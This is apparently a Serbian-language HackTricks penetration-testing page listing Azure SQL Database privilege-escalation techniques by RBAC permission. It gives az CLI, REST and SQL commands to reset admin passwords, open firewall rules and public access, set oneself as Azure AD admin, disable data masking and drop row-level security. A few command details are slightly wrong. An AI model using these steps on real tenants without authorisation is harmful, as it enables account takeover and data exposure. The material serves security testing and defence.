# Az - SQL Database Privesc

{{#include ../../../banners/hacktricks-training.md}}

## SQL Database Privesc

Za više informacija o SQL bazi podataka, pogledajte:

{{#ref}}
../az-services/az-sql.md
{{#endref}}

### `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/write`

Sa ovim dozvolama, korisnik može izvršiti eskalaciju privilegija ažuriranjem ili kreiranjem Azure SQL servera i modifikovanjem kritičnih konfiguracija, uključujući administrativne akreditive. Ova dozvola omogućava korisniku da ažurira svojstva servera, uključujući SQL server admin lozinku, omogućavajući neovlašćen pristup ili kontrolu nad serverom. Takođe mogu kreirati nove servere, potencijalno uvodeći senčanu infrastrukturu u zle svrhe. Ovo postaje posebno kritično u okruženjima gde je "Microsoft Entra Authentication Only" onemogućeno, jer mogu iskoristiti SQL-baziranu autentifikaciju za sticanje neograničenog pristupa.
```bash
# Change the server password
az sql server update \
--name <server_name> \
--resource-group <resource_group_name> \
--admin-password <new_password>

# Create a new server
az sql server create \
--name <new_server_name> \
--resource-group <resource_group_name> \
--location <location> \
--admin-user <admin_username> \
--admin-password <admin_passwor d>
```
Pored toga, neophodno je omogućiti javni pristup ako želite da pristupite sa neprivatnog krajnjeg tačke, da biste to omogućili:
```bash
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--enable-public-network true
```
Pored toga, sa dozvolama možete omogućiti dodeljivanje identiteta, i raditi sa upravljanim identitetom koji je povezan sa serverom. Na primer, ovde sa upravljanim identitetom koji može pristupiti Azure Storage:
```bash
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--assign_identity
```

```sql 
CREATE DATABASE SCOPED CREDENTIAL [ManagedIdentityCredential]
WITH IDENTITY = 'Managed Identity';
GO


CREATE EXTERNAL DATA SOURCE ManagedIdentity
WITH (
TYPE = BLOB_STORAGE,
LOCATION = 'https://<storage-account>.blob.core.windows.net/<container>',
CREDENTIAL = ManagedIdentityCredential
);
GO

SELECT *
FROM OPENROWSET(
BULK 'message.txt',
DATA_SOURCE = 'ManagedIdentity',
SINGLE_CLOB
) AS DataFile;
GO
```
### `Microsoft.Sql/servers/firewallRules/write`

Napadač može manipulisati pravilima vatrozida na Azure SQL serverima kako bi omogućio neovlašćen pristup. Ovo se može iskoristiti za otvaranje servera za specifične IP adrese ili čitave IP opsege, uključujući javne IP adrese, omogućavajući pristup zlonamernim akterima. Ova aktivnost nakon eksploatacije može se koristiti za zaobilaženje postojećih mrežnih bezbednosnih kontrola, uspostavljanje postojanosti ili olakšavanje lateralnog kretanja unutar okruženja izlaganjem osetljivih resursa.
```bash
# Create Firewall Rule
az sql server firewall-rule create \
--name <new-firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <start-ip-address> \
--end-ip-address <end-ip-address>

# Update Firewall Rule
az sql server firewall-rule update \
--name <firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <new-start-ip-address> \
--end-ip-address <new-end-ip-address>
```
Dodatno, `Microsoft.Sql/servers/outboundFirewallRules/delete` dozvola vam omogućava da obrišete pravilo vatrozida.  
NAPOMENA: Potrebno je omogućiti javni pristup.

### `Microsoft.Sql/servers/ipv6FirewallRules/write`

Sa ovom dozvolom, možete kreirati, modifikovati ili obrisati IPv6 pravila vatrozida na Azure SQL Serveru. Ovo bi moglo omogućiti napadaču ili ovlašćenom korisniku da zaobiđe postojeće mrežne bezbednosne konfiguracije i dobije neovlašćen pristup serveru. Dodavanjem pravila koje omogućava saobraćaj sa bilo koje IPv6 adrese, napadač bi mogao otvoriti server za spoljašnji pristup.
```bash
az sql server firewall-rule create \
--server <server_name> \
--resource-group <resource_group_name> \
--name <rule_name> \
--start-ip-address <start_ipv6_address> \
--end-ip-address <end_ipv6_address>
```
Dodatno, `Microsoft.Sql/servers/ipv6FirewallRules/delete` dozvola vam omogućava da obrišete pravilo vatrozida.  
NAPOMENA: Potrebno je omogućiti javni pristup.

### `Microsoft.Sql/servers/administrators/write` && `Microsoft.Sql/servers/administrators/read`

Sa ovim dozvolama možete privesc u Azure SQL Server okruženju pristupajući SQL bazama podataka i preuzimajući kritične informacije. Koristeći komandu ispod, napadač ili ovlašćeni korisnik može postaviti sebe ili drugi nalog kao Azure AD administratora. Ako je "Microsoft Entra Authentication Only" omogućeno, možete pristupiti serveru i njegovim instancama. Evo komande za postavljanje Azure AD administratora za SQL server:
```bash
az sql server ad-admin create \
--server <server_name> \
--resource-group <resource_group_name> \
--display-name <admin_display_name> \
--object-id <azure_subscribtion_id>
```
### `Microsoft.Sql/servers/azureADOnlyAuthentications/write` && `Microsoft.Sql/servers/azureADOnlyAuthentications/read`

Sa ovim dozvolama, možete konfigurisati i primeniti "Microsoft Entra Authentication Only" na Azure SQL Serveru, što može olakšati eskalaciju privilegija u određenim scenarijima. Napadač ili ovlašćeni korisnik sa ovim dozvolama može omogućiti ili onemogućiti Azure AD-only autentifikaciju.
```bash
#Enable
az sql server azure-ad-only-auth enable \
--server <server_name> \
--resource-group <resource_group_name>

#Disable
az sql server azure-ad-only-auth disable \
--server <server_name> \
--resource-group <resource_group_name>
```
### Microsoft.Sql/servers/databases/dataMaskingPolicies/write
Izmenite (ili onemogućite) politike maskiranja podataka na vašim SQL bazama podataka.
```bash
az rest --method put \
--uri "https://management.azure.com/subscriptions/<your-subscription-id>/resourceGroups/<your-resource-group>/providers/Microsoft.Sql/servers/<your-server>/databases/<your-database>/dataMaskingPolicies/Default?api-version=2021-11-01" \
--body '{
"properties": {
"dataMaskingState": "Disable"
}
}'
```
### Ukloni sigurnost na nivou reda
Ako se prijavite kao administrator, možete ukloniti politike samog administratora i drugih korisnika.
```sql
DROP SECURITY POLICY [Name_of_policy];
```
{{#include ../../../banners/hacktricks-training.md}}
